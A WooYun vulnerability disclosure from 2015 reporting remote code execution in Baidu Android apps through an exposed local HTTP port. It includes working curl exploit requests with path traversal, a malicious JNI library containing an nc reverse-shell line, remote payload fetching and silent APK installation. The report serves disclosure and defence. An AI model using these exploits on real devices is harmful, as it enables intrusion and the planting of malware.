当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146617

漏洞标题:百度系应用安卓版远程代码执行漏洞(百度地图/输入法为例)

相关厂商:百度

漏洞作者: 瘦蛟舞

提交时间:2015-10-14 10:35

修复时间:2016-01-12 11:22

公开时间:2016-01-12 11:22

漏洞类型:远程代码执行

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-14: 细节已通知厂商并且等待厂商处理中
2015-10-14: 厂商已经确认,细节仅向厂商公开
2015-10-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-08: 细节向核心白帽子及相关领域专家公开
2015-12-18: 细节向普通白帽子公开
2015-12-28: 细节向实习白帽子公开
2016-01-12: 细节向公众公开

简要描述:

漏洞承接自:http://www.wooyun.org/bugs/wooyun-2015-0145365 , http://www.wooyun.org/bugs/wooyun-2015-0145718 ..已经有三个案例了..应该也发现全系应用应该都有此类风险了.本次以百度地图和输入法为案例,完成上两个漏洞未分析的风险点.

详细说明:

root@hammerhead:/ # busybox netstat -tunlp                                     
netstat: showing only processes with your user ID
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8098 0.0.0.0:* LISTEN 5260/com.baidu.BaiduMap
tcp 0 0 :::40310 :::* LISTEN 2893/com.baidu.appsearch
tcp 0 0 :::7777 :::* LISTEN 2872/com.baidu.appsearch


因为是先安装的百度手机助手,再安装的百度地图,所以40310是由百度手机助手监听的.那么现在卸载手机助手会发生什么了? 百度地图会接下来继续干这活监听40310

root@hammerhead:/ # pm uninstall com.baidu.appsearch
WARNING: linker: app_process has text relocations. This is wasting memory and is a security risk. Please fix.
WARNING: linker: app_process has text relocations. This is wasting memory and is a security risk. Please fix.
Success
busybox netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8098 0.0.0.0:* LISTEN 5260/com.baidu.BaiduMap
tcp 0 0 :::40310 :::* LISTEN 2972/com.baidu.BaiduMap
tcp 0 0 :::7777 :::* LISTEN 5562/com.baidu.BaiduMap


这个让俺想到老周在 qiku 手机发布会上黑百度的一句话...

huluwa.jpg


WooYun: 百度输入法安卓版存在远程获取信息控制用户行为漏洞(可恶意推入内容等4G网络内可找到目标)WooYun: 百度手机助手远程静默安装启动应用漏洞(3G/4G环境下远程种马) 中已经分析了如何获取坐标等信息,如何远程发送 intent,如何远程安装应用.
其中手机助手中的静默安装是因为手机助手有申请 root 权限的选择.但是百度地图显然也没什么申请 root 权限的理由了. ( downloadfile写入文件的时候发现百度地图开始申请 root 权限)

public void b(String arg7, Context arg8) {
PackageInfo v0 = com.baidu.hello.patch.moplus.systemmonitor.util.a.b(arg8, arg8.getPackageName());
if(v0 != null) {
if((v0.applicationInfo.flags & 1) == 1) {
if(b.a(this.b, "android.permission.INSTALL_PACKAGES") != 0) {
File v3 = new File(arg7);
if(this.a()) {
new c(this, "SystemMonitor_InstallAPKByPackageInstaller", v3, arg8, arg7).start();
}
else {
this.a(Uri.fromFile(v3), new SilentPackageInstallObserver(arg8, arg7), 0, arg8
.getPackageName());
}
}
}
else if(com.baidu.hello.patch.moplus.a.b.a(arg8).a()) {
com.baidu.hello.patch.moplus.a.b.a(arg8).a("pm install -r \'" + arg7 + "\'\n");
}
else {
Intent v0_1 = new Intent("android.intent.action.VIEW");
v0_1.setDataAndType(Uri.fromFile(new File(arg7)), "application/vnd.android.package-archive");
v0_1.setFlags(1342177280);
arg8.startActivity(v0_1);
}
}
}


三个判断:
1.手机助手为系统应用直接使用android.permission.INSTALL_PACKAGES权限静默安装应用
2.手机助手获得 root 权限后使用 su 后执行 pm install 静默安装应用
3.非以上二种情况则弹出引用安装的确认框
所以按照这个逻辑对百度地图使用 uploadfile 就会进入第三个分支提示用户安装.
接下来是对addcontactinfo和downloadfile分析了
远程添加联系人
/addcontactinfo?callback=xxx&postdata=[{"fields":+[{"type":+"phone",+"type_code":+2,+"type_ext":+2,+"value":+"110"}],+"name":+"hello",+"starred":+1}]&mcmdf=inapp_xxx

GET /addcontactinfo?callback=xxx&postdata=%5B%7B%22fields%22%3A+%5B%7B%22type%22%3A+%22phone%22%2C+%22type_code%22%3A+2%2C+%22type_ext%22%3A+2%2C+%22value%22%3A+%22110%22%7D%5D%2C+%22name%22%3A+%22hello%22%2C+%22starred%22%3A+1%7D%5D&mcmdf=inapp_xxx HTTP/1.1
Host: 192.168.1.102:40310
remote-addr: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*


contact.png


这个做下推销,陷害下仇人还是挺有意思的 ,不过这个功能不是这次漏洞的主角.这次分析仪downloadfile为主.
有了之前对 nano http server 的分析,接下来进度就快多了,搞清楚 uri 中各种参数是做什么是就 ok 了.

exec.png


savepath是本地保存的路径,querydown是用于判断到底是查询了还是写入文件操作,downloadurl服务端文件的提供.filesize这个参数并没有啥用处.

download.png


其中 querydown 为 query 的时候若文件存在(且有读取权限)则返回文件 size,若querydown为 download 的时候则会按照savepath加上downloadurl中的文件名写入文件,下面则是写入一个攻击的脚本的效果.

attack.png


其实代码中默认路径就是 sdcard,我这里用 ../../../sdcard/ 和 / 是一样的效果.之所以这么做是为了后面的利用做个预热.
上传成功后百度地图开始申请 root 权限..并且进行 pm install 静默安装动作..不过因为这里是个 html 文件所以失败

pm.png

漏洞证明:

利用1:
现在我们已经有文件写入权限,把它转化成执行权限就可以反弹 shell 了,想想之前的寄生兽漏洞.思路就比较清晰了.将文件写入插件或者 so 文件中进行覆盖后执行即可.(注意需要是第三方的 so..因为 app 的 so 是系统权限,应用本身也是无权限进行写操作的)
WooYun: 百度输入安卓客户端代码感染漏洞分析(俗称寄生兽)
hook DexClassLoader 构造方法后可以发现百度地图加载了如下插件

10-12 19:50:18.475    1817-2364/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.advertctrl_1.1.3_1444450673270/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.advertctrl/1.1.3 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.advertctrl_1.1.3_1444450673270/lib/armeabi
10-12 19:50:26.666 1817-2364/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.posture_1.1.0_1444450673299/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.posture/1.1.0 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.posture_1.1.0_1444450673299/lib/armeabi
10-12 19:50:29.476 1817-2364/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.websdk_1.4.11_1444450673311/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.websdk/1.4.11 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.websdk_1.4.11_1444450673311/lib/armeabi
10-12 19:50:29.696 1817-2675/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.cater_2.1.9_1444450673282/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.cater/2.1.9 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.cater_2.1.9_1444450673282/lib/armeabi
10-12 19:50:29.836 1817-2677/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.hotel_2.3.8_1444450673290/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.hotel/2.3.8 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.hotel_2.3.8_1444450673290/lib/armeabi
10-12 19:50:29.836 1817-2676/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.scenery_4.1.2_1444450673303/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.scenery/4.1.2 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.scenery_4.1.2_1444450673303/lib/armeabi
10-12 19:50:29.966 1817-2678/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.movie_2.1.1_1444450673294/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.movie/2.1.1 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.movie_2.1.1_1444450673294/lib/armeabi
10-12 19:55:33.995 1817-4868/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.voice_1.6.5_1444450673309/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.voice/1.6.5 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.voice_1.6.5_1444450673309/lib/armeabi
10-12 19:57:31.685 1817-5210/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.rentcar_3.1.0_1444450673302/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.rentcar/3.1.0 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.rentcar_3.1.0_1444450673302/lib/armeabi
10-12 19:58:57.035 1817-5475/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.pano_1.4.1_1444450673298/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.pano/1.4.1 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.pano_1.4.1_1444450673298/lib/armeabi
10-12 19:59:11.155 1817-5475/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.oil_1.1.0_1444450673297/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.oil/1.1.0 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.oil_1.1.0_1444450673297/lib/armeabi
10-12 19:59:11.295 1817-5619/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.carwash_1.0.0_1444450673280/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.carwash/1.0.0 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.carwash_1.0.0_1444450673280/lib/armeabi
10-12 19:59:11.375 1817-5628/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.drive_1.1.4_1444450673284/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.drive/1.1.4 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.drive_1.1.4_1444450673284/lib/armeabi
10-12 19:59:23.395 1817-5628/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.trafficradio_1.5.1_1444450673307/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.trafficradio/1.5.1 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.trafficradio_1.5.1_1444450673307/lib/armeabi
10-12 20:01:53.685 1817-6452/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.violation_1.1.0_1444450673308/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.violation/1.1.0 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.violation_1.1.0_1444450673308/lib/armeabi
10-12 20:02:45.395 1817-6452/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.obd_1.0.10_1444450673295/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.obd/1.0.10 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.obd_1.0.10_1444450673295/lib/armeabi
10-12 20:03:37.895 1817-6452/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.lbc_1.2.5_1444450673293/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.lbc/1.2.5 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.lbc_1.2.5_1444450673293/lib/armeabi
10-12 20:03:48.775 1817-6452/? I/IPoison-com.baidu.BaiduMap﹕ dexPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.o2ozone_2.0.0_1444450678558/com.apk | optimizedDirectory = /data/data/com.baidu.BaiduMap/cache/map.android.baidu.o2ozone/2.0.0 | libraryPath = /data/data/com.baidu.BaiduMap/files/coms/map.android.baidu.o2ozone_2.0.0_1444450678558/lib/armeabi


取得/data/data/com.baidu.BaiduMap/cache/map.android.baidu.advertctrl/1.1.3/com.dex 文件后将其转成 smali 代码后注入命令,然后通过 DexClassLoader 进行优化.
之后再PATH CRC 与 modTime 就可以远程写入了.因为百度地图没啥第三方 so可以注入,而注入 odex 兼容性较差所以这里换成百度输入法注入 so 做实验
创建一个动态链接库包括以下代码

jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved)
{
JNIEnv* env = NULL;
jint result = -1;
int ret;
if ((*vm)->GetEnv(vm, (void**) &env, JNI_VERSION_1_4) != JNI_OK) {
return -1;
}
/* success -- return valid version number */
result = JNI_VERSION_1_4;
/* 反弹shell */
//ret = system("nc 192.168.8.163 8088|/system/bin/sh|nc 192.168.8.163 9999");
ret = system("id > /data/data/com.baidu.input/jni_id.txt");
LOGI("ret value of system is %d",ret);
return result;
}



追加到原版librabjni_V2_1_0.so中
echo hellojni.so > librabjni_V2_1_0.so

../../../data/data/com.baidu.input/app_megapp/com.baidu.input.plugin.kit.qrcode/lib
curl -e http://m.baidu.com -H "remote-addr: 127.0.0.1" http://192.168.1.102:6259/downloadfile?downloadurl=http://192.168.1.50/librabjni_V2_1_0.so&callback=123&savepath=../../../data/data/com.baidu.input/app_megapp/com.baidu.input.plugin.kit.qrcode/lib&filesize=1233&mcmdf=inapp_xxx&querydown=download

cat /data/data/com.baidu.input/jni_id.txt     
uid=10158(u0_a158) gid=10158(u0_a158) groups=1015(sdcard_rw),1028(sdcard_r),3002(net_bt),3003(inet),50158(all_a158) context=u:r:untrusted_app:s0


利用2:远程静默安装 apk (需用户授予 root 权限,如果鉴权成功静默安装,鉴权失败则提示安装,种马/推广利器)
之前的方法是uploadfile:
curl -F [email protected] -e http://m.baidu.com -H "remote-addr: 127.0.0.1" http://192.168.1.102:40310/uploadfile\?install_type\=all\&callback\=123\&mcmdf\=inapp_123\&Filename\=1.apk\&
现在可以换成downloadfile: (downloadfile比uploadfile在百度系的 app 出现率要高,比如百度输入法就中就把uploadfile接口阉割了)
curl -e http://m.baidu.com -H "remote-addr: 127.0.0.1" http://192.168.1.102:40310/downloadfile?downloadurl=http://192.168.1.50/1.apk&callback=123&savepath=../../../sdcard&filesize=1233&mcmdf=inapp_xxx&querydown=download

success.png


最后梳理下这三次分析的接口功能:

e.a.put("geolocation", e.b + "GetLocLiteString"); 获取坐标
e.a.put("getsearchboxinfo", e.b + "GetSearchboxInfo"); 获取搜索记录
e.a.put("getapn", e.b + "GetApn"); 获取联网方式
e.a.put("getserviceinfo", e.b + "GetServiceInfo"); 获取提供 nano http 的应用信息
e.a.put("getpackageinfo", e.b + "GetPackageInfo"); 获取指定安装包的信息
e.a.put("sendintent", e.b + "SendIntent"); 远程发送 intent
e.a.put("getcuid", e.b + "GetCuid"); 获取 imei
e.a.put("getlocstring", e.b + "GetLocString"); 获取某字符串,没去追踪是干啥用的
e.a.put("scandownloadfile", e.b + "ScanDownloadFile"); 扫描下载文件 (UCDownloads/QQDownloads/360Download....)
e.a.put("addcontactinfo", e.b + "AddContactInfo"); 远程添加联系人
e.a.put("getapplist", e.b + "GetAppList"); 获取全部安装 app 信息
e.a.put("downloadfile", e.b + "DownloadFile"); 远程写入文件,可安装或转成执行权限
e.a.put("uploadfile", e.b + "UploadFile"); 远程上传apk 并安装

修复方案:

版权声明:转载请注明来源 瘦蛟舞@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-14 11:21

厂商回复:

感谢提交,已通知产品线进行修复。

最新状态:

暂无